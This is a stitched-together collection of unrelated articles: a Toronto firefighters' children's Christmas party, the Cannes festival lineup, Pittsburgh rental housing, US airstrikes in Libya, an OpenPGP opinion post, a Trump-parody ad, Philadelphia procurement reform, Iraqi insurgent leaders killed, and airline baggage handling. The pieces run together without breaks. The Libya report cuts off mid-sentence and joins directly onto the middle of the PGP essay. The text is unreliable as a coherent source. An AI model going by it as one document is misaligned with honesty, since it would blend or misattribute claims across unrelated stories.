Toronto firefighter Dennis Lewis with his wife, Michelle Little, and daughter Ella, 9. They have been attending the annual Christmas party since Ella was a baby. ( Vjosa Isai / Toronto Star ) Firefighters announced a $35,000 donation to the event’s venue, the Variety Village sports complex in Scarborough, with Mayor John Tory in attendance. ( Vjosa Isai / Toronto Star ) Peter Chow, an acting district chief, volunteered at the party with his eldest son. ( Vjosa Isai / Toronto Star )
For more than 1,100 young children at the party, hosted at the Variety Village sports complex in Scarborough, it was the ultimate playground. The site’s massive gym is lined with bouncy castles, inflatable slides, mazes, and obstacle courses. Small children toting loot bags, slushies and cotton candy zipped between the adults to face-painting stations, photos with Santa, and arts and crafts. “I think this place is the best place I’ve been all year,” said 9-year-old Ella Lewis, who’s father, Dennis, is a Toronto firefighter. Ella said she’s been coming to the event every year since she was baby. “I’ve been looking forward to seeing my friends and going on a bunch of bouncy castles,” she said, as her mother, Michelle Little, rubbed what appeared to be pink glitter off her nose near the crafts table.
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“The girls look forward to it every year. It’s a big treat,” Little said. And while they may have outgrown bouncy castles, older children of firefighters also joined the party. Peter Chow, an acting district chief, said his eldest son came to volunteer at the event, which drew at least 2,400 people throughout the day. Chow also volunteered. “It keeps me young. Watching all the kids have fun, having Santa here helps … It’s good to get together — a big, happy family event — and it’s good to see everybody,” he said. The party has been an annual tradition since 1999. Children get a loot bag upon entering, and an age-appropriate gift partly subsidized by the TPFFA.
Firefighters also announced a $35,000 donation to the event’s host, Variety Village. Mayor John Tory was in attendance for the presentation of the cheque. The TPFFA raised more than $300,000 for the facility in total. TPFFA president Frank Ramagnano said the holidays see an unfortunate spike in fires, and cautioned people to exercise safety by watering real Christmas trees and being cautious with electrical items and candles. “We don’t want to be busy at Christmas,” he said.No Hollywood studio films are scheduled so far for the world's most prestigious film festival, which organizers say will feature 12 female directors this year, up from nine last year.
Cannes Film Festival director Thierry Fremaux and president Pierre Lescure on Thursday unveiled the lineup for the iconic Côte d'Azur event's 70th anniversary edition, to be held May 17-28.
Bringing some Hollywood presence to the Croisette this year will be Todd Haynes' period drama Wonderstruck, starring Julianne Moore and Michelle Williams, and Sofia Coppola's The Beguiled, with Colin Farrell, Nicole Kidman, Kirsten Dunst and Elle Fanning. Cannes veterans Michael Haneke, who won the Palme d'Or twice before, and Michel Hazanavicius also are returning with Happy End and Le Redoutable, respectively.
Fremaux and Lescure took to the stage just after 11 a.m. local time, kicking off the traditional lineup press conference at Paris' UGC Cinema on the French capital's Champs Elysees.
Lescure opened the press event by mentioning the upcoming French election and U.S. President Donald Trump. "We are in a suspenseful moment for the world," he said, adding, "Since we have a new surprise every day from Donald Trump, I hope North Korea, Syria will not cast a shadow" over Cannes.
The festival will include 19 competition titles, four out-of-competition titles, three midnight screenings, one special screening and nine first films from 1,930 submitted movies. Fremaux said 12 female directors will be featured in the official selection, up from nine last year.
Benny and Josh Safdie's Good Time, a crime drama starring Robert Pattinson, and Lynne Ramsay's You Were Never Really Here, toplined by Joaquin Phoenix, will be among the titles bringing extra star power to the Cannes red carpet.
And speaking of star power, Nicole Kidman will feature in four competition and other section entries, having the biggest presence of all the bold names at the fest next month.
The first competition title unveiled was Andrei Zvyagintsev's new film Loveless. After his success with Leviathan, the Russian culture ministry had said Zvyagintsev would get no more state money for his productions, so the film was made without official Russian support and instead put together as a co-production with Germany, France and Belgium, with Eurimages support. Fremaux spoke about a revival of Russian filmmaking in discussing the lineup.
Also in the Cannes lineup is Al Gore's An Inconvenient Sequel: Truth to Power, which follows Gore as he travels the world raising awareness of climate change and trying to push people and governments to embrace renewable energy. Additional political edge comes from a Vanessa Redgrave documentary about refugees called Sea Sorrow.
Adding high-profile TV projects for the first time, Cannes will also screen two episodes of David Lynch's Twin Peaks revival for Showtime and show Jane Campion's Top of the Lake 2 as special events.
As previously announced, Spanish director Pedro Almodovar will oversee the main competition jury that will award the Palme d'Or and other top prizes.
Palme d'Or winner Cristian Mungiu will head up the student and short films jury, and Cesar-winning French actress Sandrine Kiberlain will head the Camera d'Or jury, which selects the best first film from across all sections and sidebars.
Among Thursday's first announcements was that a short virtual reality project from Alejandro G. Inarritu will be part of the festival, as will Kristen Stewart's short film Come Swim.
Inarritu's VR short was produced and financed by Legendary Entertainment and Fondazione Prada, while ILMxLAB, Lucasfilm’s recently established immersive entertainment division, built the virtual world and characters. It explores the experience of a group of immigrants as they cross over the border between Mexico and the U.S. Inarritu, who spent four years developing the project, partnered with his frequent collaborator and cinematographer Emmanuel Lubezki on it.
The poster for this year's festival, which shows an exuberant Claudia Cardinale dancing, has been a source of controversy, with fans expressing outrage that the actress appeared to be slimmed down and retouched.
The full Cannes lineup is below.
Competition
Loveless, Andrei Zvyagintsev
Good Time, Benny and Josh Safdie
You Were Never Really Here, Lynne Ramsay
L'Amant Double, Francois Ozon
A Gentle Creature, Sergei Loznitsa
The Killing of a Sacred Deer, Yorgos Lanthimos
Hikari (Radiance), Naomi Kawase
The Day After, Hong Sangsoo
Le Redoutable, Michel Hazanavicius
Wonderstruck, Todd Haynes
Happy End, Michael Haneke
The Beguiled, Sofia Coppola
120 Battements par Minute, Robin Campillo
Okja, Bong Joon-Ho
Aus dem Nichts (In the Fade), Fatih Akin
Les Fantomes D’Ismael, Arnaud Desplechin
The Meyerowitz Stories, Noah Baumbach
Out-of-Competition
How to Talk to Girls at Parties, John Cameron Mitchell
Visages, Villages, Agnes Varda & JR
Mugen Non Junin (Blade of the Immortal), Takashi Miike
Un Certain Regard
Barbara, Mathieu Amalric
A Novia Del Desierto (The Desert Bride) by Cecilia Atan &Valeria Pivato
Tesnota (Closeness) by Kantemir Balagov
Aala Kaf Ifrit (Beauty and the Dogs), Kaouther Ben Hania
L’Atelier, Laurent Cantet
Fortunata (Lucky), Sergio Castellito
Las Hijas de Abril (April's Daughter), Michel Franco
Western, Valeska Grisebach
Posoki (Directions), Stephan Komandarev
Out, Gyorgy Kristof
Sanpo Suru Shinryakusha (Before We Vanish), Kiyoshi Kurosawa
En Attendant Les Hirondelles (The Nature of Time), Karim Moussaoui
Lerd (Dregs), Mohammad Rasoulof
Jeune Femme, Leonor Serrraille
Wind River, Taylor Sheridan
Apres La Guerre (After the War), Annarita Zambrano
Special Screenings
Claire’s Camera, Hong Sangsoo
12 Jours, Raymond Depardon
They, Anahita Ghazvinizadeh
Promised Land, Eugene Jarecki
Napalm, Claude Lanzmann
Demons in Paradise, Jude Ratman
Sea Sorrow, Vanessa Redgrave
An Inconvenient Sequel: Truth to Power, Bonni Cohen, Jon Shenk
Midnight Screenings
The Villainess, Jung Byung-Gil
The Merciless, Byun Sung-Hyun
Prayer Before Dawn, Jean-Stephane Sauvaire
Virtual Reality Film
Carne y Arena, Alejandro G. Inarritu
70th Anniversary Events
Top of the Lake: China Girl, Jane Campion & Ariel Kleiman
24 Frames, Abbas Kiarostami
Twin Peaks, David Lynch
Come Swim, Kristen StewartTribLIVE's Daily and Weekly email newsletters deliver the news you want and information you need, right to your inbox.
Real estate developer Daniel Berkowitz says Beechview could hold the key to beefing up Pittsburgh’s lack of affordable rental housing.
Berkowitz of Squirrel Hill has been investing in the southern Pittsburgh neighborhood over the past year, acquiring commercial properties along the Broadway Avenue business district through his company Atlas Development.
He and partner Ben Samson also are buying residential properties bordering Broadway with plans to renovate and rent single-family homes at roughly $400 to $500 per month.
He said older houses in the neighborhood available at lower costs — Atlas has purchased homes for $30,000 to $85,000 — permit affordable rents without public subsidy.
Pittsburgh officials estimate 17,000 to 22,000 city residents need housing at below competitive market rates. Developers typically seek subsidies when building low-income housing because, they say, rents aren’t high enough to cover their costs.
“Between the cost to acquire and the cost to do the necessary repairs and improvements — fix life, safety and code issues — if that’s all we do, those can be rented at (affordable) rates,” Berkowitz said.
But Berkowitz said he wants to take that a step further and make the housing “passive,” meaning they have low utility costs. That goal likely would require financial help, whether it be public subsidies or foundation grants, he said.
In addition to his Beechview holdings, Berkowitz has interests in Greensburg, where he and partners built a 27-unit apartment building for college students. He received approval last year from Greensburg council for a second apartment building.
“The homes, the structure of the (passive) home, is insulated in such a way that it maintains an internal temperature of 65 degrees up to an external temperature of negative 7 degrees,” he said. “It’s also 65 inside when its 90 degrees outside. The mechanical systems in a property like that very rarely have to turn on. It basically means the residents of the home pay virtually zero in electric and gas.”
Berkowitz said Beechview is uniquely positioned to accommodate “workforce housing.”
He noted the business district, with an IGA market and access to public transportation — a Port Authority of Allegheny County light-rail line runs the length of Broadway, the main drag — are within walking distance and the neighborhood is close to Downtown.
“Workforce rates, virtually zero utility bills in a neighborhood with public transportation, now you’ve hit on three major cost drivers that make so much of the housing not affordable,” he said. “That’s why the neighborhood is so unique.”
Atlas and its subsidiaries so far have purchased 11 commercial and residential properties in Beechview at a total cost of $745,400, county real estate records show. That includes seven houses and a building on Broadway that will house Atlas offices, a video production business and basement space for storage or retail.
A deal with the Pittsburgh Urban Redevelopment Authority to purchase two more commercial buildings on Broadway is nearly complete, said Kevin Acklin, who chairs the URA board and serves as Mayor Bill Peduto’s chief of staff.
Berkowitz said he has tenants lined up to open a restaurant, jazz club and bed-and-breakfast in one of the buildings. He’s planning to renovate the second building for retail space.
The three buildings once were owned by failed developer Bernardo Katz. Berkowitz was one of the few developers interested in acquiring and rehabbing them, Acklin said.
Katz bought 80 percent of the business district more than 10 years ago but left the neighborhood in limbo when he fled the United States for Brazil to avoid prosecution on federal mortgage fraud charges. Katz’s buildings sat vacant and tax delinquent for years until 2015, when the city was successful in tracking down Katz and serving him with notices that permitted the URA to take ownership and clear the titles.
Acklin said he was unaware of Berkowitz’s affordable housing plans, but the city is willing to listen.
“Without knowing the details of what he is pursuing, I think we would be open to that conversation if there’s additional capital that he or others would be wanting to invest in a neighborhood like Beechview,” Acklin said.
Residents said they’re hopeful Berkowitz is successful.
“I think (the Katz legacy) set Daniel up to maybe jump through some extra hoops,” said Beechview resident Melissa Harmon. “He went to our community meetings, and he didn’t have to. He was very open about speaking to the neighborhood about his projects. He said, yes, in development (a Katz scenario) can happen, but he did everything to prove he’s not like that.”
Bob Bauder is a Tribune-Review staff writer. Reach him at 412-765-2312 or bbauder@tribweb.com.
Bob Bauder is a Tribune-Review staff reporter. You can contact Bob at 412-765-2312, bbauder@tribweb.com or via Twitter.There’s no projected end to the strikes, which U.S. officials say have been requested by the new Libyan government.
The U.S. military has launched an air campaign against the Islamic State in Libya, bombing positions in its coastal stronghold of Sirte and opening up a third major front against the group.
There’s “no end point at this point in time” to the “precision airstrikes,” which began on Monday “at the request of the Libyan Government of National Accord,” or the GNA, Pentagon Press Secretary Peter Cook told reporters.
“After careful consideration, we’re prepared to carry out more strikes in careful preparation with the GNA,” Cook said. “I don’t want to predict the pace.”
Cook said the strikes were carried out by authority of the 2001 Authorization for the Use of Military Force against al-Qaeda, the same authorization used for the conflicts in Iraq, Afghanistan, Somalia, Yemen and Syria.
He said no American troops were on the ground aiding in these targeted strikes, but said they have been “in and out” of Libya, declining further detail.
The U.S. military has been dropping bombs on suspected ISIS fighters in Libya for months, including one series of strikes in February that killed nearly three dozen, and another strike in November that the Pentagon believed killed the head of the affiliate, Abu Nabil.
The difference between those strikes and what occurred Monday? The Libyan government asked for Monday’s strike in Sirte. “They have not up until now requested this kind of assistance,” said Cook.
ISIS’ Libyan |
, than it is to keep it secure after the fact.
Mental Models and Deniability
A rule of thumb for creating usable software, is don't make me think.
What this means in practice, is software should match the mental models of its users as closely as possible. If it doesn't, users will inevitably make mistakes. If your tool is a security tool, those mistakes may compromise their security.
PGP in e-mail has failed this on many fronts. The lack of protection for message headers (the subject line) is one, as is pretty much anything to do with encryption keys (too much math). But it's not all bad! OpenPGP gets other things right, and actually corrects some of the things insecure e-mail gets wrong.
One of the most vexing things about e-mail, is people actually think e-mail is already secure. They just assume e-mail is like regular mail, in an opaque envelope that will prevent tampering and keep postal workers from reading it. Encryption and signatures bring e-mail closer to user expectations, which means if we can get it working smoothly, users won't have to think as much to make good security choices.
One thing people don't expect from e-mail, is deniability. Deniability means after a message has been delivered, it can no longer be strongly linked to the sender. It's like an anti-signature... which most sane people would consider a horrible misfeature in any communication system. Explicitly designing a system so people can disavow their statements and go back on their word? What is this, a system for assholes??
And yet, all the cool kids in the security world seem to want exactly that. They keep bringing up the lack of deniability (and forward secrecy) in PGP as if it were some sort of fatal flaw.
Why? Are security people all assholes? I don't think that's it.
I think they're quite enamoured with the elegant math, and really, really pissed off with certain Three Letter Agencies. There is good reason to believe major governments plan to, or already have been recording all our encrypted communications in the hope of being able to decrypt them later. Forward secrecy (deniability's more attractive twin sister) prevents that sort of thing. But OpenPGP doesn't need to provide forward secrecy to thwart mass surveillance. If we just use TLS (with the right ciphers) for SMTP, IMAP and web-mail then that does the job just fine.
So I agree forward secrecy in transit is a good thing. Let's do that!
Let's put our mail in secure envelopes, and let's also drive it from place to place in nice, secure vehicles. Users don't expect the cops to routinely stop the mailman and photocopy all the mail, so let's make sure that doesn't happen to e-mail either. Let the mental models be our guide.
But we don't need or want deniability. Deniability for individual messages is, quite simply, a horrible misfeature to be avoided. People already assume e-mail is on the record; trying to change that means going against their mental models and setting them up for failure in new and exciting ways. The fact that OpenPGP wasn't designed to empower assholes is a feature, not a bug.
(Yes, there are other arguments for forward secrecy and deniability. They are in my oh-so-humble opinion, mostly bunk. And this post is already too long...)
Making Progress
Anyway, like it or not, e-mail is important.
E-mail is the most successful open messaging standard we've got and OpenPGP is the best tech we have to secure our mail. OpenPGP may be dated and a bit clunky, but it's a hell of a lot better than nothing.
Folks like myself, implementors who are not cryptographers, have long been admonished to not invent our own crypto. Over and over again, we are told to use tried and tested solutions. OpenPGP is that. It may have baggage, it may not be perfect, but it is mature and it solves certain problems. Most of the flaws can be avoided and worked around. If the security community really wants us to use something else, you're going to have to step up and provide something a bit more tangible than rants on the Internet.
OpenPGP is also not standing still, OpenPGP is still developing. The community is well aware that the technology is flawed and needs work. An update to the standard is in the works and there are multiple projects working on improving both the security and usability side of things.
Mailpile is one such project, but we're in good company: PEP, LEAP, OpenKeychain for Android, Mailvelope, and more. Even Google and Yahoo are developing solutions based on OpenPGP. There's actually quite a lot going on!
As an industry, we should be supporting these efforts, not writing and promoting self indulgent posts on how we've given up and moved on.
Oh, and stay in school kids! It's worth it!Six young children parody US presidential hopeful Donald Trump in the latest advert by New Zealand power retailer Powershop.
"I'll build a great, great wall," is among the Trump quotes in the adverts featuring the children dressed in orange-tinged wigs.
The ad highlights Powershop's message that power should be used for good, not bad, said chief executive Ari Sargent.
YouTube Out of the mouths of babes come Donald Trump's own words.
Trump "likes to abuse his power and influence to promote his prehistoric views about minority groups of society," Sargent said.
READ MORE:
* Christchurch malls ban Powershop ads
* Powershop ad's 'offensive' play on Greek crisis
* Force against Powershop over Darth Vader image
"Our video parodies Mr Trump by projecting his own words through the mouths of loveable toddlers to highlight how infantile he is."
Powershop ads have generated some heat in the past.
A campaign featuring iconic moments in New Zealand history, including the 1981 Springbok tour protests, was banned last year by two Christchurch malls for not being family-friendly enough.In an announcement earlier this month, the Mayor’s office unveiled its plan for a reverse bidding procurement process—essentially letting anyone who wants city business to see how their bid ranks, price-wise, and continuously lower their offer until the deadline. Mayor Kenney’s Chief Administrative Officer Rebecca Rhynhart says reverse bidding, which has been implemented in Los Angeles and Chicago, has the potential to bring contract costs down between 5 and 15 percent, saving the city millions of dollars a year—money that Kenney says can be used to help fund universal pre-K.
It was an encouraging—if wonky—sign of progress in City Hall that nods to what the Mayor promised in his inauguration: Streamlining city services so they work better. It also tackles what has become an international movement to change the way governments buy things. President Obama has mentioned it, in reference to the disastrous rollout of the healthcare signup system its first year, and procurement reform is one of the key issues for Code for America, the civic hacking organization that particularly focuses on technology-related RFPs.
But it’s what Rhynhart didn’t mention at her press conference that is the truly inspirational—and table turning—idea now wending its way through city government. Late last year, Philadelphia became one of a handful of American cities chosen to work with Citymart, an international organization with one goal: Radically changing the way cities work with companies to solve civic problems.
“Cities are filled with capable people doing their jobs, but no one can know everything,” says Julia Haselmayer, a principal at Citymart. “This puts the problem statement in the center: Cities say what they want to solve, instead of what they want to buy.”
This is the old way of doing things: City departments identify a problem—how to limit the amount of stormwater that goes to the waterways, for example—and then a solution, such as water permeable playground blacktop. Then they post and send out a Request For Proposal (RFP) to vendors to bid on that project. With Citymart, departments identify a problem, but stop short of coming up with the fix. Instead, they issue a clearly-written explanation of the problem, and call for solutions from vendors.
“Cities are filled with capable people doing their jobs, but no one can know everything,” says Julia Haselmayer, a principal at Citymart. “This puts the problem statement in the center: Cities say what they want to solve, instead of what they want to buy.”
Citymart, started by Haselmayer’s husband, Sascha, an architect-turned-civic thinker, has helped 60 cities issue over 100 challenges in the last five years, including London, Paris, Seville, Madrid and Sheffield. Their most ambitious effort was in Barcelona, where Citymart helped six city departments issue challenges that needed to be addressed, including reducing bike thefts and digitizing museum archives. Their call for solutions was intentionally widespread, to broaden the pool of vendors, big and small, who work with the city, and their call to action reached far into the community—on social media, and even advertisements on the city’s subway system.
Barcelona’s procurement website, usually visited 20 times when an RFP goes out, got 55,000 views in the first three weeks. And rather than the same five vendors bidding on projects, 119 companies from around the world submitted solutions to the six problems. What’s more, the city departments said the quality of the bids was higher than usual, and the ensuing contracts cost 30 percent less than they’d budgeted. Haselmayer says the key here is not just ideas, but actual solutions that have been proven in some way—bike shares, for instance, which no longer seem new in places like Philadelphia, but which are out-of-the-box ideas for other cities around the world.
“This is not about reinventing the wheel, which is very costly,” Haselmayer says. “These are real existing solutions, from providers who have done this. But it opens up the process to more of them, and to more ways of approaching a problem.”
In Philadelphia, the idea of solutions-based procurement is not wholly untried. Under Mayor Nutter’s Office of New Urban Mechanics (whose mission was to “improve radically the quality of city services”), the city launched FastFWD, a problem-solving civic accelerator that targeted startups with new approaches to old issues. With a $1 million grant from Bloomberg Philanthropies, FastFWD in 2013 issued its first set of problems, around public safety. Of the 82 applicants who responded, 10 were awarded $10,000 and enrolled in a 12-week accelerator program run by GoodCompany Ventures, a nonprofit that helps to launch socially-minded startups.
Rather than the same five vendors bidding on projects in Barcelona, 119 companies from around the world submitted solutions to the six problems. What’s more, the city departments said the quality of the bids was higher than usual, and the ensuing contracts cost 30 percent less than they’d budgeted.
Two of those companies were eventually awarded $30,000 city contracts—Textizen, a text-based reminder system for the formerly incarcerated; and Chicago-based Edovo, which creates tablet-based education platforms for prisons. Both companies, who honed their unique solutions during the accelerator, have since re-upped their contracts with the city. The second round of FastFWD—in which four companies are negotiating city contracts—is coming to a close in the next few months.
That experiment paved the way for Citymart, which chose Philadelphia to be among its first few American clients, including New York, Miami and Long Beach, California. Funded by a Knight Foundation grant, Citymart this year is working with Philly’s Office of Innovation Management to reach out to city departments, train workers on how to rethink the way they approach problems, sift through potential challenges, and then write an RFP in a way that is clear and as simple as possible—the best way to ensure the broadest participation. (Citymart’s original partner, the Office of New Urban Mechanics, has been absorbed the Department of Innovation Management, run by Andrew Buss. It falls under Rhynhart’s administrative purview.)
In total, Citymart will work with Philly to present five problems to the community and select a vendor with the best solutions. Their first problem, in December, came from the Streets Department, which is about to embark on a street safety campaign. The city posted an RFP for the first phase, to help the department understand what Philadelphians already know about pedestrian and traffic safety. Buss says eight companies, more than usual, responded to the challenge in a few weeks; the contract was awarded to Temple University’s Institute for Survey Research. The second problem, how to manage excessive stormwater, will be posted on the city’s Big IdeasPHL website in the next few weeks. Buss has put out a call to other city departments to propose ideas for the remaining three challenges.
The goal for this year is training city staff to think differently about how they buy services, so that after the Citymart pilot, departments will use solutions-based procurement in as many instances as possible. “We’re saying, ‘You have this idea, let’s frame it in a different way that’s open-ended and can attract more people to the table,’” Buss says. “We’re growing a network of people in the city who are able to work that way so we can do this on our own after Citymart leaves.”
To be clear, Citymart-style procurement does not work for every type of city purchase. Sometimes, city departments just need paper, or an overpass just needs fixing, or a bond measure just needs an audit. Hasalmeyer herself says Citymart’s goal is for 10 percent of city services to go through a solutions-based procurement process. It’s too soon to know how far Philly will take this notion, but Rhynhart says she anticipates solutions-based procurement will be a part of the new way Philadelphia does business, from its reverse bidding auction, to a new e-procurement system set to launch in 2016 to replace the current (antiquated) method of bidding on projects—with paper proposals.
“Citymart is teaching the city to look at procurement in a different way,” she says. “A lot of the issues the city faces could be solved this way. And it would bring community and businesses closer to the city to help solve its problems. That’s a huge opportunity.”
Photo Header: Flickr/OTA PhotosPhoto
— Prime Minister Nuri Kamal al-Maliki announced Monday that two top insurgent leaders had been killed, including a somewhat mythic figure who has operated under the name Abu Omar al-Baghdadi. Mr. Baghdadi has been reported dead or detained several times previously, and his very existence had been called into question a few years ago by American military leaders.
After Mr. Maliki’s press conference, the American military released a statement verifying that Mr. Baghdadi was killed in a joint raid between Iraqi and United States forces in the dark hours of Sunday morning near Tikrit, near Saddam Hussein ’s hometown.
Also killed, according to Mr. Maliki and American officials, was Abu Ayyub al-Masri, the leader of Al Qaeda in Iraq, also known as Al Qaeda in Mesopotamia, a largely Iraqi group that includes some foreign leadership.
Both men were found in a hole in the ground.
“The security forces surrounded the hole, and when they got them out they were dead,” Mr. Maliki said at the news conference. Mr. Maliki said computers and letters were found that included communication between the men and Osama bin Laden.
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One United States soldier died during the operation in a helicopter crash, which officials said was not caused by enemy fire.
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Once as free as bags of peanuts, checked luggage is now a multibillion-dollar business for airlines. Barbara S. Peterson reports from behind the carousel to find out why—despite all that money and fewer checked bags—some 26 million suitcases go missing each year
It is 12:27 p.m. at Atlanta’s Hartsfield-Jackson International Airport, and Delta flight 1826 to Fort Lauderdale is three minutes from push-back. Ramp workers in regulation orange vests close the cargo door and yank back the conveyor belt that moments earlier was flinging suitcases, bulging duffels, and strollers into the 757’s narrow hold. A walkie-talkie crackles with good news: 11 passengers connecting from a delayed flight out of New York have just boarded. Their holiday in the sun has been salvaged.
Or maybe not. As the ramp retracts, Delta’s luggage operations chief, Hussein Berry, scowls at the update broadcast over his radio: The fliers made it, but their bags did not. The pilot, who’s been apprised of these developments, must now make the crucial call of whether to wait for the errant valises and risk a late departure, or to have the bags put on the next flight out. The latter option is sure to inconvenience passengers, especially those boarding a cruise ship this afternoon, as well as lose the airline goodwill and money: It costs a carrier an average of $100 to reunite each delayed bag with its owner, and the airlines must also refund the fees they pocket for checked bags.
It’s those fees, more than anything, that are pushing the topic of airline baggage to the fore. This year, consumers will fork over more than $3 billion to check their luggage in the United States alone, a 700 percent increase from five years ago. The mounting baggage fees and passenger battles over bin space have not escaped the attention of some members of Congress, who are threatening a crackdown on the industry. Senator Mary Landrieu (D-La.), among others, has sponsored legislation that would force carriers to permit customers to check at least one bag free of charge. “Air travel can be a stressful experience for many reasons, but unfair fees for basic amenities should not be one of them,” Landrieu said as she introduced the bill late last year.
The fees have led to a precipitous drop in the number of checked bags, yet domestic airlines still lose or damage nearly two million pieces of luggage annually. While that is admittedly a fraction of the roughly 400 million bags entrusted to U.S. carriers each year, mishandled baggage is the number two source of complaints to the Department of Transportation, after flight delays and cancellations. Overall, the airlines do a respectable job—the industry claims that more than 99 percent of checked bags arrive with their owners, and most late bags turn up within two days. But that’s of little consolation to the millions of fliers affected by lost and delayed luggage each year; few experienced travelers have escaped the dread induced by watching a carousel disgorge its last bag—with theirs nowhere in sight.
Worldwide, the problem is far worse: Some 26 million pieces of checked luggage went astray on international flights in 2011: It’s as though an airport the size of Philadelphia International had misplaced one bag for every passenger during an entire year. And in 2010, an astonishing one million suitcases were never recovered at all, vanishing into a sort of baggage black hole because they were either stolen or lost their identifying tags somewhere along the way. “The lost bags don’t really get much attention,” says Lucian Ilie, a former baggage supervisor at JFK. “They just get kicked around.”
There will be no such misfortune for the luggage belonging to the passengers on flight 1826. Within minutes, a cart pulls up with the missing baggage; it’s quickly hoisted into the hold and the plane is on its way.
The latest in baggage-handling technology promises shorter lines and, of course, fewer lost bags. Here’s what is coming soon to your typical big-hub airport
View Interactive Graphic
Just how do the airlines handle hundreds of millions of bags a year in the United States alone? There’s no better place to find the answer than Atlanta’s Hartsfield-Jackson, which is not only the busiest airport in the world but also the one that doubles as Delta’s test kitchen for new methods of tracking and scanning bags with greater accuracy than ever before.
At the center of the airport’s baggage operations, well hidden from the view of passengers, is a vast sorting system consisting of 20 miles of high-speed conveyor belts, laser scanners, and pinball machine–style arms that shuffle bags and shoot them to their gate area. About 6,500 bags per hour travel along this hidden labyrinth, usually for about ten minutes at a time. And you won’t find just the usual assortment of duffels and crammed valises: Our travel togs share the luggage hold with an alarming array of cargo, dead and alive. I spot an unadorned white rectangular box on a cart that I’m quickly informed contains a human body. “That’s big business for us,” Berry interjects. Side by side with the corpses are surfboards and crates with live birds, snakes, and pets of all sizes. Baggage handlers tell wild tales of what fliers have attempted to check as baggage, ranging from a 150-pound pig to a full-size Christmas tree. Understandably, there are many rules on where checked items can and cannot go: On wide-body planes the cargo is usually loaded in containers, but on smaller single-aisle planes it has to be carefully stacked. “We have to keep the dry ice away from the pets—otherwise, we could have a problem.” Indeed, dead pet stories are the bane of an airline’s PR department. “Nothing gets a TV crew out here faster,” says Berry.
If baggage fees have had one salutary effect, it’s been to ramp up the pressure on the airlines to provide better service and more transparency on this largely hidden part of their operation. “It’s a key part of customer satisfaction,” says Bob Kupbens, Delta’s vice president of e-commerce. Indeed, Delta had one of the worst records among major airlines for baggage handling in 2007; by 2011, the company had cut its lost-bag tally by 47 percent, rising to the second-best spot among the majors after JetBlue, which flies far fewer passengers and routes. Delta also launched a new smartphone app this year that lets passengers track their bags at every stage of the journey.
In truth, a modern baggage operation is a mashup of high-tech innovation and old-fashioned grunt work. Nowhere is this more critical than in the task of transferring bags from one flight to another—which is where most bag snafus occur. Atlanta, the ultimate fortress hub for Delta, has long been the country’s top connecting depot. Of the 100,000-odd checked bags that are handled here by Delta every day, 70,000 are tossed from plane to plane. The bags making the tightest connections are called “hot bags” and have less than 60 minutes to transit the tarmac. These make the “tail to tail” trip ferried in carts by drivers relying on wireless tablets that direct them to specific flights and automatically update them when gates or departure times change.
One of these drivers, Dexter Greene, has a typically brutal schedule the morning I visit: In one 31-minute shift, he must fetch 20 bags from an incoming flight from Jacksonville and shuttle them to seven other planes in two different terminals. The less urgent bags are trucked by another driver to the cavernous luggage depot, where they’re either sent up chutes to the carousel at baggage claim or, for those on long layovers, land in a holding area until they’re ready to reenter the system.
And while it might seem logical to assume your bag is most at risk in a tight transfer, more leisurely layovers have a downside too, since luggage can be left in the open in intense heat or in the rain. Don’t check your bags too far in advance, cautions Don Harris, senior director of ground operations for Southwest Airlines, which carries more luggage per person than its rivals due to its generous two-bags-free policy. “If bags are coming in for a flight that departs in three hours, we might have to set them aside. It could become a case of out of sight, out of mind.”
Judging from complaints received by Condé Nast Traveler’s Ombudsman, bags can be subjected to all manner of abuse. One flier reported that when he retrieved his “indestructible” suitcase from the carousel, it was soaked in oil and had been punctured, with two large holes clear through the bag. “It looked like it had been impaled on a forklift,” he wrote. One reader who flew to Paris recalled that when she collected her luggage at Charles de Gaulle Airport, “every article inside was soaking wet” and colors had run and destroyed nearly $1,000 worth of recent purchases. (The problem had begun when the bags were left beside the plane during loading in a heavy downpour.) She spent several days in a fruitless attempt to get the airline’s Paris office to reimburse her. “My entire trip was spoiled,” she said, with her sole souvenir a bag of smelly and discolored togs.
The industry responds that such anecdotal tales, while colorful, don’t fairly represent the progress it has made in getting bags to their destination on time and intact. “The airlines had their best-ever year for baggage handling” in 2011, says Francesco Volante, CEO of airline data provider SITA, which issues annual worldwide baggage reports. He points out that the rate of mishandled bags has been cut in half worldwide in the last five years.
Lost in Translation
Compared with those in the United States, the baggage-handling records of some of the world’s largest foreign airports and carriers can appear dismal. About five years ago, the airline trade group IATA became concerned that the rate of mishandled bags was rising faster than the increase in passengers, and it initiated a series of audits by teams of baggage experts who would swoop in and suggest fixes. At sprawling Charles de Gaulle, for example, transferring bags is a daunting task—the airport requires fully 62 miles of track to carry the luggage of the more than 165,000 fliers who pass through the airport each day. Among the chronic problems: Bags were arriving at the plane too close to flight time, and some were inexplicably being flagged as “unknown” by the automated handling system, which spit them out for manual reading—causing more delays. In the two years since IATA’s intervention, the airport has reduced its lost-bag rate by 40 percent.
In Athens, a large number of bags were missing connecting flights. One problem was that those on a tight schedule didn’t stand out from the pack; another was that luggage was backing up on the conveyor belts, causing delays. The solution to these snafus was surprisingly low-tech: Airlines simply started using different colored tags for the high-priority bags, and the airport painted dots and stripes on the belts to show where bags should be placed for better spacing.
Paul Behan, head of IATA’s Passenger Experience program and a former manager at Heathrow, says the industry’s rate of lost bags improved noticeably during the first few years of the project. The volcanic ash cloud in 2010, though, was a setback, sending hundreds of thousands of bags to the lost and found in the mass confusion. “It is such a fine-tuned business that any unforeseen issue can dramatically affect it,” he says.
But it’s what goes wrong day to day that is under the most scrutiny, says Behan, because these are the problems that can be solved. “It could be something as basic as a tag getting wet and becoming unreadable,” he says. Or a tag might be damaged or lost, so the bag enters that netherworld of the permanently orphaned. “That’s one of the worst things—we know the bag is out there somewhere, but we can’t connect it back to the passenger,” Behan says. “I can’t say it enough: You should always put your name and contact information on the inside and the outside of the bag.”
Even the most advanced systems aren’t foolproof, though. Despite Delta’s improved showing, it still mishandled nearly 700 bags every day last year.
People Problems
“Airlines don’t have total control of the luggage chain,” says Michael Boyd, of Colorado’s Boyd Group International, an aviation analyst who got his start years ago as a ramp agent in Dallas. Most airlines farm out the baggage handling to subcontractors, except at their busiest hubs. And the conditions at these jobs can be trying. “Some workers are making $8 to $10 an hour, and it’s grueling work, with a high rate of injury.” High turnover is directly related to bag mishaps. At one major airport, IATA found that temp workers were making an inordinate number of mistakes by mixing up airport codes. “You either have to do a better job of training—which isn’t going to happen in today’s economic climate—or you have to make up for it with better technology,” says Boyd.
